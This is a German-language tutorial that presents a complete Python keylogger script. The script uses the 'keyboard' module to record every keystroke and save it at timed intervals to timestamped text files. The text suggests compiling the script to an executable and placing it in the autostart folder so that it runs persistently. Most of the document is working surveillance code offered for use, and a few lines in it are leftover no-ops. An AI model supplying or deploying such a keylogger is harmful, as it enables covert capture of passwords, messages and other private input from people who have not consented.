Erstellen eines Keyloggers mit Python

Ein Keylogger ist ein Programm, das dazu dient, jeden auf der Tastatur eines bestimmten Computers getippten Tastenanschlag aufzuzeichnen und abzuspeichern. Ich stelle hier ein Python Skript vor, was genau das tut.

Wir benötigen dafür das Python Modul Keyboard.

Mit diesem Modul können Sie die vollständige Kontrolle über Ihre Tastatur übernehmen, Hotkeys registrieren, Tastendrucke simulieren und vieles mehr.

In dem hier vorgestellten Skript werden die Tastenschläge nach einem vorher definierten Zeitintervall in Texdateien mit Zeitstempel abgespeichert.

Es gibt verschiedene Verwendungsmöglichkeiten für das Skript. Zum Beispiel könnte man es in eine Exe-Datei umwandeln und in den Autostart-Ordner seines Computers packen.

In dem Skript muss noch das Zeitintervall angepasst werden, aller wie viel Sekunden eine neue Logdatei geschrieben werden soll.

Hier sieht man das Skript in Aktion:

Hier das Skript:

import keyboard
from threading import Timer
from datetime import datetime


SEND_REPORT_EVERY = 5 #hier das Intervall in Sekunden eingeben, wie oft eine neue Datei geschrieben werden soll

class Keylogger:
    def __init__(self, interval, report_method="email"):

        self.interval = interval
        self.report_method = report_method
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name
    
    def update_filename(self):
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        with open(f"{self.filename}.txt", "w") as f:
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    def report(self):
        self.log
        self.end_dt = datetime.now()
        self.update_filename()
        self.report_method == "file"
        self.report_to_file()
        self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        timer.start()

    def start(self):
        self.start_dt = datetime.now()
        keyboard.on_release(callback=self.callback)
        self.report()
        print(f"{datetime.now()} - Start")
        keyboard.wait()
 
if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()